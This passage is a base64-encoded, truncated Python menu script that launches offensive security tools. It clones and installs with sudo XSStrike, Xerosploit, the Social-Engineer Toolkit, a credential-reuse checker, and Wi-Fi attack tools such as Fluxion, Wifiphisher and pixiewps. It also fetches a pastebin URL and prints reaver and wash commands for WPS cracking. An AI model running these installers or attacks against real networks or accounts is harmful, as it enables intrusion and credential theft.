gICAgIFs4XSAgSXNJdERvd24gKENoZWNrIFdlYnNpdGUgRG93bi9VcCkKICAgICAgICAgICAgWzk5XSBCYWNrIFRvIE1haW4gTWVudSAKICAgICAgICAiIiIpCiAgICBjaG9pY2UyID0gaW5wdXQoIlo0bnp1ID0+PiAiKQogICAgaWYgY2hvaWNlMiA9PSAiMSI6CiAgICAgICAgbm1hcCgpCiAgICBpZiBjaG9pY2UyID09ICIyIjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgRHJhY25tYXAoKQogICAgaWYgY2hvaWNlMiA9PSAiMyI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIHBvcnRzKCkKICAgIGlmIGNob2ljZTIgPT0gIjQiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICBoMmlwKCkKICAgIGlmIGNob2ljZTIgPT0gIjUiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICB4ZXJvc3Bsb2l0KCkKICAgIGlmIGNob2ljZTIgPT0gIjYiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICBYU1N0cmlrZSgpCiAgICBlbGlmIGNob2ljZTIgPT0gIjciOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICByZWNvbnNwaWRlcigpCiAgICBlbGlmIGNob2ljZTIgPT0gIjgiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICBpc2l0ZG93bigpCiAgICBlbGlmIGNob2ljZTIgPT0gIjk5IjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgbWVudSgpCiAgICBlbGlmIGNob2ljZTIgPT0gIiI6CiAgICAgICAgbWVudSgpCiAgICBlbHNlOgogICAgICAgIG1lbnUoKQoKZGVmIG5tYXAoKToKICAgIG5tYXBjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbOTldQkFjayA+PiAiKQogICAgaWYgbm1hcGNob2ljZSA9PSAiMSIgOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL25tYXAvbm1hcC5naXQiKQogICAgICAgIG9zLnN5c3RlbSgic3VkbyBjaG1vZCAtUiA3NTUgbm1hcCAmJiBjZCBubWFwICYmIHN1ZG8gLi9jb25maWd1cmUgJiYgbWFrZSAmJiBzdWRvIG1ha2UgaW5zdGFsbCIpCiAgICAjIGVsaWYgbm1hcGNob2ljZSA9PSAiMiI6CiAgICAjICAgICBvcy5zeXN0ZW0oInN1ZG8gbm1hcCIpCiAgICBlbGlmIG5tYXBjaG9pY2UgPT0gIjk5IjoKICAgICAgICBpbmZvKCkKICAgIGVsc2U6CiAgICAgICAgbWVudSgpCiAgICAKZGVmIERyYWNubWFwKCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCJEcmFjbm1hcCBpcyBhbiBvcGVuIHNvdXJjZSBwcm9ncmFtIHdoaWNoIGlzIHVzaW5nIHRvIFxuZXhwbG9pdCB0aGUgbmV0d29yayBhbmQgZ2F0aGVyaW5nIGluZm9ybWF0aW9uIHdpdGggbm1hcCBoZWxwXCIgfCBib3hlcyAtZCBib3kgfCBsb2xjYXQiKQogICAgZHJhY25hcCA9IGlucHV0KCJbMV1JbnN0YWxsIFsyXVJ1biBbOTldQmFjayA+PiAiKQogICAgaWYgZHJhY25hcCA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vU2NyZWV0c2VjL0RyYWNubWFwLmdpdCAiKQogICAgICAgIG9zLnN5c3RlbSgiY2QgRHJhY25tYXAgJiYgY2htb2QgK3ggRHJhY25tYXAuc2giKQogICAgICAgIHRpbWUuc2xlZXAoMikKICAgICAgICBpbmZvKCkKICAgIGVsaWYgZHJhY25hcCA9PSAiMiI6CiAgICAgICAgcHJpbnQoIlNvcnJ5IFlvdSBIYXZlIHRvIFJ1biBUaGlzIHRvb2wgbWFudWFsbHkgQnkgQ2hhbmdpbmcgUGF0aC4uLiEhIikKICAgICAgICBwcmludCgidXNlIC4vRHJhY25tYXAuc2ggIikKICAgICAgICBleGl0KCkKICAgIGVsaWYgZHJhY25hcCA9PSAiOTkiOgogICAgICAgIGluZm8oKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpICAgIAoKZGVmIGgyaXAoKToKICAgIGhvc3QgPSBpbnB1dCgiRW50ZXIgaG9zdCBuYW1lKHd3dy5nb29nbGUuY29tKSA6LSAgIikKICAgIGlwcyA9IHNvY2tldC5nZXRob3N0YnluYW1lKGhvc3QpCiAgICBwcmludChpcHMpCgpkZWYgcG9ydHMoKToKICAgIGNsZWFyU2NyKCkKICAgIHRhcmdldCA9IGlucHV0KCdTZWxlY3QgYSBUYXJnZXQgSVAgOiAnKQogICAgb3Muc3lzdGVtKCJzdWRvIG5tYXAgLU8gLVBuICVzIiAlIHRhcmdldCkKICAgIHN5cy5leGl0KCkKCmRlZiBYU1N0cmlrZSgpOgogICAgb3Muc3lzdGVtKCJlY2hvIFwiWFNTdHJpa2UgaXMgYSBweXRob24gc2NyaXB0IGRlc2lnbmVkIHRvIGRldGVjdCBhbmQgZXhwbG9pdCBYU1MgdnVsbmVyYWJpbGl0ZXMuIFwifCBib3hlcyAtZCBib3kgfCBsb2xjYXQiKQogICAgeGM9aW5wdXQoIlsxXUluc3RhbGwgWzk5XUJBY2sgPj4iKQogICAgaWYgeGMgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBybSAtcmYgWFNTdHJpa2UiKQogICAgICAgIG9zLnN5c3RlbSgiZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS9VbHRpbWF0ZUhhY2tlcnMvWFNTdHJpa2UuZ2l0ICYmIGNkIFhTU3RyaWtlICYmIHBpcCBpbnN0YWxsIC1yIHJlcXVpcmVtZW50cy50eHQiKQogICAgICAgIGluZm8oKQogICAgIyBlbGlmIHhjID09ICIyIiA6CiAgICAjICAgICBjbGVhclNjcigpCiAgICAjICAgICBvcy5zeXN0ZW0oImVjaG8gXCJZT3UgaGF2ZSB0byBSdW4gWFNTdHJpa2UgYXMgcGVyIHlvdXIgUmVxdWlybWVudFxuIEJ5IHVzaW5nIHB5dGhvbjMgeHNzdHJpa2UucHkgW09wdGlvbnNdXCJ8Ym94ZXMgLWQgYm95IikKICAgICMgICAgIG9zLnN5c3RlbSgiY2QgWFNTdHJpa2UgJiYgcHl0aG9uMyB4c3N0cmlrZS5weSIpCiAgICBlbGlmIHhjID09ICI5OSI6CiAgICAgICAgaW5mbygpCiAgICBlbHNlIDoKICAgICAgICBpbmZvKCkKCmRlZiB4ZXJvc3Bsb2l0KCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCJYZXJvc3Bsb2l0IGlzIGEgcGVuZXRyYXRpb24gdGVzdGluZyB0b29sa2l0IHdob3NlIGdvYWwgaXMgdG8gcGVyZm9ybSBcbiBtYW4taW4tdGgtbWlkZGxlIGF0dGFja3MgZm9yIHRlc3RpbmcgcHVycG9zZXNcInxib3hlcyAtZCBib3kgfCBsb2xjYXQiKQogICAgeGVyb3M9aW5wdXQoIlsxXUluc3RhbGwgWzJdUnVuIFs5OV1CYWNrID4+IikKICAgIGlmIHhlcm9zID09ICIxIjoKICAgICAgICBvcy5zeXN0ZW0oImdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vTGlvblNlYy94ZXJvc3Bsb2l0IikKICAgICAgICBvcy5zeXN0ZW0oImNkIHhlcm9zcGxvaXQgJiYgc3VkbyBweXRob24gaW5zdGFsbC5weSIpCiAgICAgICAgaW5mbygpCiAgICBlbGlmIHhlcm9zID09ICIyIjoKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8geGVyb3NwbG9pdCIpCiAgICBlbGlmIHhlcm9zID09ICI5OSI6CiAgICAgICAgaW5mbygpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiByZWNvbnNwaWRlcigpOgogICAgb3Muc3lzdGVtKCJlY2hvIFwiIFJlY29uU3BpZGVyIGlzIG1vc3QgQWR2YW5jZWQgT3BlbiBTb3VyY2UgSW50ZWxsaWdlbmNlIChPU0lOVCkgRnJhbWV3b3JrIGZvciBzY2FubmluZyBJUCBBZGRyZXNzLCBFbWFpbHMsIFxuV2Vic2l0ZXMsIE9yZ2FuaXphdGlvbnMgYW5kIGZpbmQgb3V0IGluZm9ybWF0aW9uIGZyb20gZGlmZmVyZW50IHNvdXJjZXMuXCIgfCBib3hlcyAtZCBib3kgfCBsb2xjYXQiKQogICAgdXNlcmNob2ljZSA9IGlucHV0KCJbMV1JbnN0YWxsICBbOTldQmFjayA+PiIpCiAgICBpZiB1c2VyY2hvaWNlID09ICIxIjoKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS9iaGF2c2VjL3JlY29uc3BpZGVyLmdpdCIpCiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGFwdCBpbnN0YWxsIHB5dGhvbjMgcHl0aG9uMy1waXAgJiYgY2QgcmVjb25zcGlkZXIgJiYgc3VkbyBweXRob24zIHNldHVwLnB5IGluc3RhbGwiKQogICAgICAgIGluZm8oKQogICAgIyBlbGlmIHVzZXJjaG9pY2UgPT0gIjIiOgogICAgIyAgICAgb3Muc3lzdGVtKCJjZCByZWNvbnNwaWRlciAmJiBweXRob24zIHJlY29uc3BpZGVyLnB5IikKICAgIGVsaWYgdXNlcmNob2ljZSA9PSAiOTkiOgogICAgICAgIGluZm8oKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgc2V0b29sa2l0KCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCJUaGUgU29jaWFsLUVuZ2luZWVyIFRvb2xraXQgaXMgYW4gb3Blbi1zb3VyY2UgcGVuZXRyYXRpb25cbnRlc3RpbmcgZnJhbWV3b3JrIGRlc2lnbmVkIGZvciBzb2NpYWwgZW5naW5lZXJpbmdcInwgYm94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIGNob2ljZXNldCA9IGlucHV0KCJbMV1JbnN0YWxsIFsyXVJ1biBbOTldQkFjayA+PiIpCiAgICBpZiBjaG9pY2VzZXQgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgiZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS90cnVzdGVkc2VjL3NvY2lhbC1lbmdpbmVlci10b29sa2l0LmdpdCIpCiAgICAgICAgb3Muc3lzdGVtKCJweXRob24gc29jaWFsLWVuZ2luZWVyLXRvb2xraXQvc2V0dXAucHkiKQogICAgICAgIHBoaXNoYXR0YWNrKCkKICAgIGlmIGNob2ljZXNldCA9PSAiMiI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIG9zLnN5c3RlbSgic3VkbyBzZXRvb2xraXQiKQogICAgZWxpZiBjaG9pY2VzZXQgPT0gIjk5IjoKICAgICAgICBwaGlzaGF0dGFjaygpCiAgICBlbHNlOgogICAgICAgIG1lbnUoKQoKZGVmIHBhc3N3ZCgpOgogICAgY2xlYXJTY3IoKQogICAgb3Muc3lzdGVtKCJmaWdsZXQgLWYgc3RhbmRhcmQgLWMgV29yZGxpc3QgR2VuZXJhdG9yIHwgbG9sY2F0IikKICAgIHByaW50KCIiIiAgIAogICAgICAgICAgICAgICAgWzAxXUN1cHAKICAgICAgICAgICAgICAgIFswMl1Xb3JkbGlzdENyZWF0b3IKICAgICAgICAgICAgICAgIFswM11Hb2JsaW4gV29yZEdlbmVyYXRvcgogICAgICAgICAgICAgICAgWzA0XUNyZWRlbnRpYWwgcmV1c2UgYXR0YWNrcwogICAgICAgICAgICAgICAgWzk5XUJhY2sgVG8gTWFpbiBNZW51CiAgICAgICAiIiIpCiAgICBwYXNzY2hvaWNlID0gaW5wdXQoIlo0bnp1ID09Pj4gIikKICAgIGlmIHBhc3NjaG9pY2UgPT0gIjEiIG9yIHBhc3NjaG9pY2UgPT0gIjAxIjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgY3VwcCgpCiAgICBlbGlmIHBhc3NjaG9pY2UgPT0gIjIiIG9yIHBhc3NjaG9pY2UgPT0gIjAyIjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgd2xjcmVhdG9yKCkKICAgIGVsaWYgcGFzc2Nob2ljZSA9PSAiMyIgb3IgcGFzc2Nob2ljZSA9PSAiMDMiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICBnb2JsaW53b3JkKCkKICAgIGVsaWYgcGFzc2Nob2ljZSA9PSAiNCIgb3IgcGFzc2Nob2ljZSA9PSAiMDQiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICBjcmVkZW50aWFsYXR0YWNrKCkKICAgIGVsaWYgcGFzc2Nob2ljZSA9PSAiOTkiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICBtZW51KCkKICAgIGVsaWYgcGFzc2Nob2ljZSA9PSAiIjoKICAgICAgICBtZW51KCkKICAgIGVsc2U6CiAgICAgICAgbWVudSgpCgpkZWYgY3VwcCgpOgogICAgb3Muc3lzdGVtKCJlY2hvIFwiQ29tbW9uIFVzZXIgUGFzc3dvcmQgR2VuZXJhdG9yLi4hIVwifCBib3hlcyAtZCBib3kgfCBsb2xjYXQgIikKICAgIGNjPWlucHV0KCJbMV1JbnN0YWxsIFs5OV1CYWNrID4+ICIpCiAgICBpZiBjYyA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL01lYnVzL2N1cHAuZ2l0IikKICAgICAgICBwYXNzd2QoKQogICAgZWxpZiBjYyA9PSAiMiI6CiAgICAgICAgIyBvcy5zeXN0ZW0oImNkIGN1cHAgJiYgLi9jdXBwLnB5IC1oIikKICAgICAgICBwYXNzCiAgICBlbGlmIGNjID09ICI5OSIgOgogICAgICAgIHBhc3N3ZCgpCiAgICBlbHNlIDoKICAgICAgICBtYWluKCkKCmRlZiB3bGNyZWF0b3IoKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIiBXbENyZWF0b3IgaXMgYSBDIHByb2dyYW0gdGhhdCBjYW4gY3JlYXRlIGFsbCBwb3NzaWJpbGl0aWVzIG9mIHBhc3N3b3JkcyxcbiBhbmQgeW91IGNhbiBjaG9vc2UgTGVuZ2h0LCBMb3dlcmNhc2UsIENhcGl0YWwsIE51bWJlcnMgYW5kIFNwZWNpYWwgQ2hhcnNcIiB8IGJveGVzIC1kIGJveSB8IGxvbGNhdCIpCiAgICB1c2VyY2hvaWNlID0gaW5wdXQoIlsxXUluc3RhbGwgWzJdUnVuIFs5OV1CYWNrID4+IikKICAgIGlmIHVzZXJjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL3RoZWxpbnV4Y2hvaWNlL3dsY3JlYXRvciIpCiAgICAgICAgcGFzc3dkKCkKICAgIGVsaWYgdXNlcmNob2ljZSA9PSAiMiI6CiAgICAgICAgb3Muc3lzdGVtKCJjZCB3bGNyZWF0b3IgJiYgc3VkbyBnY2MgLW8gd2xjcmVhdG9yIHdsY3JlYXRvci5jICYmIC4vd2xjcmVhdG9yIDUiKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICI5OSI6CiAgICAgICAgcGFzc3dkKCkKICAgIGVsc2UgOgogICAgICAgIG1lbnUoKQoKZGVmIGdvYmxpbndvcmQoKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIiBHb2JsaW5Xb3JkR2VuZXJhdG9yIFwiIHwgYm94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIHVzZXJjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4iKQogICAgaWYgdXNlcmNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vVW5kZWFkU2VjL0dvYmxpbldvcmRHZW5lcmF0b3IuZ2l0IikKICAgICAgICBwYXNzd2QoKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICIyIjoKICAgICAgICBvcy5zeXN0ZW0oImNkIEdvYmxpbldvcmRHZW5lcmF0b3IgJiYgcHl0aG9uMyBnb2JsaW4ucHkiKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICI5OSI6CiAgICAgICAgcGFzc3dkKCkKICAgIGVsc2UgOgogICAgICAgIG1lbnUoKQoKZGVmIGNyZWRlbnRpYWxhdHRhY2soKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIlshXUNoZWNrIGlmIHRoZSB0YXJnZXRlZCBlbWFpbCBpcyBpbiBhbnkgbGVha3MgYW5kIHRoZW4gdXNlIHRoZSBsZWFrZWQgcGFzc3dvcmQgdG8gY2hlY2sgaXQgYWdhaW5zdCB0aGUgd2Vic2l0ZXMuXG5bIV1DaGVjayBpZiB0aGUgdGFyZ2V0IGNyZWRlbnRpYWxzIHlvdSBmb3VuZCBpcyByZXVzZWQgb24gb3RoZXIgd2Vic2l0ZXMvc2VydmljZXMuXG5bIV1DaGVja2luZyBpZiB0aGUgb2xkIHBhc3N3b3JkIHlvdSBnb3QgZnJvbSB0aGUgdGFyZ2V0L2xlYWtzIGlzIHN0aWxsIHVzZWQgaW4gYW55IHdlYnNpdGUuXG5bI11UaGlzIFRvb2wgQXZhaWxhYmxlIGluIE1BQyAmIFdpbmRvd3MgT3MgXG5cdFshXSBodHRwczovL2dpdGh1Yi5jb20vRDRWaW5jaS9DcjNkT3YzclwiIHwgYm94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIHVzZXJjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4gIikKICAgIGlmIHVzZXJjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL0Q0VmluY2kvQ3IzZE92M3IuZ2l0IikKICAgICAgICBvcy5zeXN0ZW0oImNkIENyM2RPdjNyICYmIHB5dGhvbjMgLW0gcGlwIGluc3RhbGwgLXIgcmVxdWlyZW1lbnRzLnR4dCIpCiAgICAgICAgcGFzc3dkKCkKICAgIGVsaWYgdXNlcmNob2ljZSA9PSAiMiIgOgogICAgICAgIG9zLnN5c3RlbSgiY2QgQ3IzZE92M3IgJiYgc3VkbyBweXRob24zIENyM2QwdjNyLnB5IC1oIikKICAgIGVsaWYgdXNlcmNob2ljZSA9PSAiOTkiOgogICAgICAgIHBhc3N3ZCgpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiB3aXJlKCk6CiAgICBjbGVhclNjcigpCiAgICBvcy5zeXN0ZW0oImZpZ2xldCAtZiBzdGFuZGFyZCAtYyBXaXJlbGVzcyBBdHRhY2sgVG9vbHMgfCBsb2xjYXQiKQogICAgcHJpbnQoIiIiICAKICAgICAgICAgICAgICAgIFsxXSBXaUZpLVB1bXBraW4KICAgICAgICAgICAgICAgIFsyXSBwaXhpZXdwcwogICAgICAgICAgICAgICAgWzNdIEJsdWV0b290aCBIb25leXBvdCBHVUkgRnJhbWV3b3JrCiAgICAgICAgICAgICAgICBbNF0gRmx1eGlvbgogICAgICAgICAgICAgICAgWzVdIFdpZmlwaGlzaGVyCiAgICAgICAgICAgICAgICBbNl0gV2lmaXRlCiAgICAgICAgICAgICAgICBbN10gRXZpbFR3aW4gCiAgICAgICAgICAgICAgICBbOTldQmFjayBUbyBUaGUgTWFpbiBNZW51ICIiIikKICAgIGNob2ljZTQgPSBpbnB1dCgiWjRuenUgPT0+PiAiKQogICAgaWYgY2hvaWNlNCA9PSAiMSI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIHdpZmlwdW1raW4oKQogICAgaWYgY2hvaWNlNCA9PSAiMiI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIHBpeGlld3BzKCkKICAgIGlmIGNob2ljZTQgPT0gIjMiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICBibHVlcG90KCkKICAgIGlmIGNob2ljZTQgPT0gIjQiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICBmbHV4aW9uKCkKICAgIGlmIGNob2ljZTQgPT0gIjUiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICB3aWZpcGhpc2hlcigpCiAgICBlbGlmIGNob2ljZTQgPT0gIjYiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICB3aWZpdGUoKQogICAgZWxpZiBjaG9pY2U0ID09ICI3IjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgZXZpbHR3aW4oKQogICAgZWxpZiBjaG9pY2U0ID09ICI5OSI6CiAgICAgICAgbWVudSgpCiAgICBlbGlmIGNob2ljZTQgPT0gIiI6CiAgICAgICAgbWVudSgpCiAgICBlbHNlOgogICAgICAgIG1lbnUoKQoKZGVmIHdpZmlwdW1raW4oKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIlRoZSBXaUZpLVB1bXBraW4gaXMgYSByb2d1ZSBBUCBmcmFtZXdvcmsgdG8gZWFzaWx5IGNyZWF0ZSB0aGVzZSBmYWtlIG5ldHdvcmtzXG5hbGwgd2hpbGUgZm9yd2FyZGluZyBsZWdpdGltYXRlIHRyYWZmaWMgdG8gYW5kIGZyb20gdGhlIHVuc3VzcGVjdGluZyB0YXJnZXQuXCJ8IGJveGVzIC1kIGJveSB8IGxvbGNhdCIpCiAgICB3cD1pbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4iKQogICAgaWYgd3AgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBhcHQgaW5zdGFsbCBsaWJzc2wtZGV2IGxpYmZmaS1kZXYgYnVpbGQtZXNzZW50aWFsIikKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS9QMGNMNGJzL3dpZmlwdW1wa2luMy5naXQiKQogICAgICAgIG9zLnN5c3RlbSgiY2htb2QgLVIgNzU1IHdpZmlwdW1wa2luMyAmJiBjZCB3aWZpcHVtcGtpbjMiKQogICAgICAgIG9zLnN5c3RlbSgic3VkbyBhcHQgaW5zdGFsbCBweXRob24zLXB5cXQ1ICIpCiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIHB5dGhvbjMgc2V0dXAucHkgaW5zdGFsbCIpCiAgICAgICAgd2lyZSgpCiAgICBlbGlmIHdwID09ICIyIjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIHdpZmlwdW1wa2luMyIpCiAgICBlbGlmIHdwID09ICI5OSI6CiAgICAgICAgd2lyZSgpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiBwaXhpZXdwcygpOgogICAgb3Muc3lzdGVtKCJlY2hvIFwiUGl4aWV3cHMgaXMgYSB0b29sIHdyaXR0ZW4gaW4gQyB1c2VkIHRvIGJydXRlZm9yY2Ugb2ZmbGluZSB0aGUgV1BTIHBpblxuIGV4cGxvaXRpbmcgdGhlIGxvdyBvciBub24tZXhpc3RpbmcgZW50cm9weSBvZiBzb21lIEFjY2VzcyBQb2ludHMsIHRoZSBzby1jYWxsZWQgcGl4aWUgZHVzdCBhdHRhY2tcInwgYm94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIGNob2ljZXdwcyA9IGlucHV0KCJbMV1JbnN0YWxsIFsyXVJ1biBbOTldQmFjayA+PiAiKQogICAgaWYgY2hvaWNld3BzID09ICIxIjoKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS93aWlyZS9waXhpZXdwcy5naXQgJiYgYXB0LWdldCAteSBpbnN0YWxsIGJ1aWxkLWVzc2VudGlhbCIpCiAgICAgICAgb3Muc3lzdGVtKCJjZCBwaXhpZXdwcyovICYmIG1ha2UgIikKICAgICAgICBvcy5zeXN0ZW0oImNkIHBpeGlld3BzKi8gJiYgc3VkbyBtYWtlIGluc3RhbGwgJiYgd2dldCBodHRwczovL3Bhc3RlYmluLmNvbS95OURrMVdqaCIpCiAgICBpZiBjaG9pY2V3cHMgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiZWNobyBcIjEuPlB1dCB5b3VyIGludGVyZmFjZSBpbnRvIG1vbml0b3IgbW9kZSB1c2luZyAnYWlybW9uLW5nIHN0YXJ0IHt3aXJlbGVzcyBpbnRlcmZhY2V9XG4yLj53YXNoIC1pIHttb25pdG9yLWludGVyZmFjZSBsaWtlIG1vbjB9J1xuMy4+cmVhdmVyIC1pIHttb25pdG9yIGludGVyZmFjZX0gLWIge0JTU0lEIG9mIHJvdXRlcn0gLWMge3JvdXRlciBjaGFubmVsfSAtdnZ2IC1LIDEgLWZcInwgYm94ZXMgLWQgYm95IikKICAgICAgICBwcmludCgiWW91IEhhdmUgVG8gUnVuIE1hbnVhbGx5IEJ5IFVTaW5nID4+cGl4aWV3cHMgLWggIikKICAgICAgICBwYXNzCiAgICBlbGlmIGNob2ljZXdwcyA9PSAiOTkiOgogICAgICAgIHdpcmUoKQogICAgZWxzZToKICAgICAgICBtZW51KCkKCmRlZiBibHVlcG90KCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCJ5b3UgbmVlZCB0byBoYXZlIGF0IGxlYXN0IDEgYmx1ZXRvb2ggcmVjZWl2ZXIgKGlmIHlvdSBoYXZlIG1hbnkgaXQgd2lsbCB3b3JrIHdpaHQgdGhvc2UsIHRvbykuXG5Zb3UgbXVzdCBpbnN0YWxsL2xpYmJsdWV0b290aC1kZXYgb24gVWJ1bnR1L2JsdWV6LWxpYnMtZGV2ZWwgb24gRmVkb3JhL2JsdWV6LWRldmVsIG9uIG9wZW5TVVNFXCJ8Ym94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIGNob2ljZSA9IGlucHV0KCJbMV1JbnN0YWxsIFsyXVJ1biBbOTldQmFjayA+PiAiKQogICAgaWYgY2hvaWNlID09ICIxIjoKICAgICAgICBvcy5zeXN0ZW0oIndnZXQgaHR0cHM6Ly9naXRodWIuY29tL2FuZHJld21pY2hhZWxzbWl0aC9ibHVlcG90L3Jhdy9tYXN0ZXIvYmluL2JsdWVwb3QtMC4xLnRhci5neiAmJiB0YXIgeGZ6IGJsdWVwb3QtMC4xLnRhci5neiAmJiBzdWRvIGphdmEgLWphciBibHVlcG90L0JsdWVQb3QtMC4xLmphciIpCiAgICAgICAgdGltZS5zbGVlcCgzKQogICAgICAgIHdpcmUoKQogICAgZWxpZiBjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiY2QgYmx1ZXBvdC0wLjEgJiYgc3VkbyBqYXZhIC1qYXIgYmx1ZXBvdC9CbHVlUG90LTAuMS5qYXIiKQogICAgZWxpZiBjaG9pY2UgPT0gIjk5IjoKICAgICAgICB3aXJlKCkKICAgIGVsc2U6CiAgICAgICAgbWVudSgpCgpkZWYgZmx1eGlvbigpOgogICAgb3Muc3lzdGVtKCJlY2hvIFwiZmx1eGlvbiBpcyBhIHdpZmkga2V5IGNyYWNrZXIgdXNpbmcgZXZpbCB0d2luIGF0dGFjay4uXG55b3UgbmVlZCBhIHdpcmVsZXNzIGFkYXB0b3IgZm9yIHRoaXMgdG9vbFwifCBib3hlcyAtZCBib3kgfCBsb2xjQVQiKQogICAgY2hvaWNlID0gaW5wdXQoIlsxXUluc3RhbGwgWzJdUnVuIFs5OV1CYWNrID4+IikKICAgIGlmIGNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL3RoZWhhY2tpbmdzYWdlL0ZsdXhpb24uZ2l0IikgCiAgICAgICAgb3Muc3lzdGVtKCJjZCBGbHV4aW9uICYmIGNkIGluc3RhbGwgJiYgc3VkbyBjaG1vZCAreCBpbnN0YWxsLnNoICYmIHN1ZG8gYmFzaCBpbnN0YWxsLnNoIikKICAgICAgICBvcy5zeXN0ZW0oImNkIC4uICYmIHN1ZG8gY2htb2QgK3ggZmx1eGlvbi5zaCIpCiAgICAgICAgdGltZS5zbGVlcCgyKQogICAgICAgIHdpcmUoKQogICAgZWxpZiBjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiY2QgRmx1eGlvbiAmJiBzdWRvIGJhc2ggZmx1eGlvbi5zaCIpCiAgICBlbGlmIGNob2ljZSA9PSAiOTkiIDoKICAgICAgICB3aXJlKCkKICAgIGVsc2U6CiAgICAgICAgbWVudSgpCgpkZWYgd2lmaXBoaXNoZXIoKToKICAgIHByaW50KCIiIgogICAgV2lmaXBoaXNoZXIgaXMgYSByb2d1ZSBBY2Nlc3MgUG9pbnQgZnJhbWV3b3JrIGZvciBjb25kdWN0aW5nIHJlZCB0ZWFtIGVuZ2FnZW1lbnRzIG9yIFdpLUZpIHNlY3VyaXR5IHRlc3RpbmcuIAogICAgVXNpbmcgV2lmaXBoaXNoZXIsIHBlbmV0cmF0aW9uIHRlc3RlcnMgY2FuIGVhc2lseSBhY2hpZXZlIGEgbWFuLWluLXRoZS1taWRkbGUgcG9zaXRpb24gYWdhaW5zdCB3aXJlbGVzcyBjbGllbnRzIGJ5IHBlcmZvcm1pbmcgCiAgICB0YXJnZXRlZCBXaS1GaSBhc3NvY2lhdGlvbiBhdHRhY2tzLiBXaWZpcGhpc2hlciBjYW4gYmUgZnVydGhlciB